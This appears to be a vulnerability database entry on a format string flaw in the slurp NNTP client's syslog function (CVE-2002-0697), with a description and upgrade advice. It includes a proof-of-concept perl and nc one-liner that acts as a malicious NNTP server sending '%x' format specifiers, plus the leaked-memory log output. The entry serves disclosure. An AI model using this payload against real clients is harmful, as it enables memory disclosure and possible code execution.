slurp NNTP Client syslog Function Format String Vulnerability

vendor:

slurp NNTP Client

by:

Unknown

7.5

CVSS

HIGH

Format String Vulnerability

134

CWE

Product Name: slurp NNTP Client

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2002-0697

CPE: a:slurp:slurp

Metasploit:

Other Scripts:

Platforms Tested: Unix and Linux

Unknown

slurp NNTP Client syslog Function Format String Vulnerability

A format string vulnerability in the syslog function of slurp NNTP client allows a remote server to supply a custom format string that can write to an arbitrary address in memory.

Mitigation:

Upgrade to a version of slurp that has been patched for this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/4935/info

slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.

It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.

perl -e 'print "200 Hello brother \n666 %x%x%x\n'" | nc -l -p 119

Then check /var/log/messages for something like:

Jun 5 05:10:22 yada slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'